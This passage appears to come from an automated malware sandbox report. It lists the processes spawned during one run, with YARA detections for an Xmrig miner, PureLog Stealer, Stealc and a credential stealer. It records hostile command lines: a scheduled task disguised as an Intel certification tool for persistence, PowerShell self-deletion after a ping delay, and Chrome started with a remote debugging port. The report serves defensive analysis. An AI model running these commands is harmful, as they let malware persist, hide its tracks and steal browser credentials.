                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:23
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                            Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:24
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
                                                                                                                                                                                                                                                            Imagebase:0x7ff7c86a0000
                                                                                                                                                                                                                                                            File size:235'008 bytes
                                                                                                                                                                                                                                                            MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:25
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                            Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:26
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:powershell ping 127.0.0.1; del in.exe
                                                                                                                                                                                                                                                            Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                            File size:452'608 bytes
                                                                                                                                                                                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:27
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                            Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:28
                                                                                                                                                                                                                                                            Start time:19:09:22
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                            Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:29
                                                                                                                                                                                                                                                            Start time:19:09:23
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\PING.EXE
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:"C:\Windows\system32\PING.EXE" 127.0.0.1
                                                                                                                                                                                                                                                            Imagebase:0x7ff7a9f60000
                                                                                                                                                                                                                                                            File size:22'528 bytes
                                                                                                                                                                                                                                                            MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:30
                                                                                                                                                                                                                                                            Start time:19:09:24
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                            Imagebase:0x7ff7c4020000
                                                                                                                                                                                                                                                            File size:1'827'328 bytes
                                                                                                                                                                                                                                                            MD5 hash:83D75087C9BF6E4F07C36E550731CCDE
                                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Yara matches:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                                                                                                            • Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                            Antivirus matches:
                                                                                                                                                                                                                                                            • Detection: 100%, Avira
                                                                                                                                                                                                                                                            • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                            • Detection: 67%, ReversingLabs
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:31
                                                                                                                                                                                                                                                            Start time:19:09:25
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:explorer.exe
                                                                                                                                                                                                                                                            Imagebase:0x7ff674740000
                                                                                                                                                                                                                                                            File size:5'141'208 bytes
                                                                                                                                                                                                                                                            MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Yara matches:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2843315351.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2842874964.0000000000B89000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2842874964.0000000000BA9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2843407076.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:32
                                                                                                                                                                                                                                                            Start time:19:09:25
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                            Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                            File size:452'608 bytes
                                                                                                                                                                                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:33
                                                                                                                                                                                                                                                            Start time:19:09:25
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                            Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:34
                                                                                                                                                                                                                                                            Start time:19:09:25
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\PING.EXE
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:"C:\Windows\system32\PING.EXE" 127.1.10.1
                                                                                                                                                                                                                                                            Imagebase:0x7ff7a9f60000
                                                                                                                                                                                                                                                            File size:22'528 bytes
                                                                                                                                                                                                                                                            MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:35
                                                                                                                                                                                                                                                            Start time:19:09:27
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:"C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe"
                                                                                                                                                                                                                                                            Imagebase:0x5f0000
                                                                                                                                                                                                                                                            File size:3'286'016 bytes
                                                                                                                                                                                                                                                            MD5 hash:C00A67D527EF38DC6F49D0AD7F13B393
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Yara matches:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe, Author: Joe Security
                                                                                                                                                                                                                                                            Antivirus matches:
                                                                                                                                                                                                                                                            • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                            • Detection: 42%, ReversingLabs
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:36
                                                                                                                                                                                                                                                            Start time:19:09:28
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:"C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe"
                                                                                                                                                                                                                                                            Imagebase:0xbf0000
                                                                                                                                                                                                                                                            File size:3'286'016 bytes
                                                                                                                                                                                                                                                            MD5 hash:C00A67D527EF38DC6F49D0AD7F13B393
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:37
                                                                                                                                                                                                                                                            Start time:19:09:39
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:"C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe"
                                                                                                                                                                                                                                                            Imagebase:0x3e0000
                                                                                                                                                                                                                                                            File size:4'426'752 bytes
                                                                                                                                                                                                                                                            MD5 hash:1BBA40CD593BED2B1F35529F02A1BC01
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Antivirus matches:
                                                                                                                                                                                                                                                            • Detection: 100%, Avira
                                                                                                                                                                                                                                                            • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:38
                                                                                                                                                                                                                                                            Start time:19:09:48
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:"C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe"
                                                                                                                                                                                                                                                            Imagebase:0xff0000
                                                                                                                                                                                                                                                            File size:1'838'592 bytes
                                                                                                                                                                                                                                                            MD5 hash:FFD3E08783983AA539D8056C4A45755A
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Yara matches:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000003.3250651286.0000000000D83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000003.3248838513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000003.3249083501.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000003.3279573878.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000003.3248936218.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            Antivirus matches:
                                                                                                                                                                                                                                                            • Detection: 100%, Avira
                                                                                                                                                                                                                                                            • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:39
                                                                                                                                                                                                                                                            Start time:19:09:58
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:"C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe"
                                                                                                                                                                                                                                                            Imagebase:0x410000
                                                                                                                                                                                                                                                            File size:2'909'696 bytes
                                                                                                                                                                                                                                                            MD5 hash:9122E2BCF23186C18F6600AA3548A997
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Yara matches:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000003.3179461866.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            Antivirus matches:
                                                                                                                                                                                                                                                            • Detection: 100%, Avira
                                                                                                                                                                                                                                                            • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:40
                                                                                                                                                                                                                                                            Start time:19:10:01
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:"C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe"
                                                                                                                                                                                                                                                            Imagebase:0xff0000
                                                                                                                                                                                                                                                            File size:1'838'592 bytes
                                                                                                                                                                                                                                                            MD5 hash:FFD3E08783983AA539D8056C4A45755A
                                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Yara matches:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3414236004.0000000000B13000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3413256605.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:41
                                                                                                                                                                                                                                                            Start time:19:10:01
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                            Imagebase:0x7ff7c4020000
                                                                                                                                                                                                                                                            File size:1'827'328 bytes
                                                                                                                                                                                                                                                            MD5 hash:83D75087C9BF6E4F07C36E550731CCDE
                                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Yara matches:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                                                                                                            • Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:42
                                                                                                                                                                                                                                                            Start time:19:10:02
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\explorer.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:explorer.exe
                                                                                                                                                                                                                                                            Imagebase:0x7ff674740000
                                                                                                                                                                                                                                                            File size:5'141'208 bytes
                                                                                                                                                                                                                                                            MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Yara matches:
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002A.00000002.3265693433.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002A.00000002.3265828395.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002A.00000002.3264642710.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000002A.00000002.3264642710.00000000007CC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:43
                                                                                                                                                                                                                                                            Start time:19:10:02
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                            Imagebase:0x7ff7be880000
                                                                                                                                                                                                                                                            File size:452'608 bytes
                                                                                                                                                                                                                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:44
                                                                                                                                                                                                                                                            Start time:19:10:02
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                            Imagebase:0x7ff6d64d0000
                                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:45
                                                                                                                                                                                                                                                            Start time:19:10:05
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):true
                                                                                                                                                                                                                                                            Commandline:"C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe"
                                                                                                                                                                                                                                                            Imagebase:0xc40000
                                                                                                                                                                                                                                                            File size:967'680 bytes
                                                                                                                                                                                                                                                            MD5 hash:DFB8C708CCB6C1DB1E96A93C74F43FED
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Antivirus matches:
                                                                                                                                                                                                                                                            • Detection: 100%, Avira
                                                                                                                                                                                                                                                            • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:46
                                                                                                                                                                                                                                                            Start time:19:10:07
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                                                                                                                                                                                                                                            Imagebase:0x7ff715980000
                                                                                                                                                                                                                                                            File size:3'242'272 bytes
                                                                                                                                                                                                                                                            MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:47
                                                                                                                                                                                                                                                            Start time:19:10:07
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                                                                                                                                            Imagebase:0x7ff7e52b0000
                                                                                                                                                                                                                                                            File size:55'320 bytes
                                                                                                                                                                                                                                                            MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                            Has exited:false

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Target ID:48
                                                                                                                                                                                                                                                            Start time:19:10:08
                                                                                                                                                                                                                                                            Start date:18/12/2024
                                                                                                                                                                                                                                                            Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                                            Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2084,i,17663144075808195390,7313190882510113121,262144 /prefetch:8
                                                                                                                                                                                                                                                            Imagebase:0x7ff715980000
                                                                                                                                                                                                                                                            File size:3'242'272 bytes
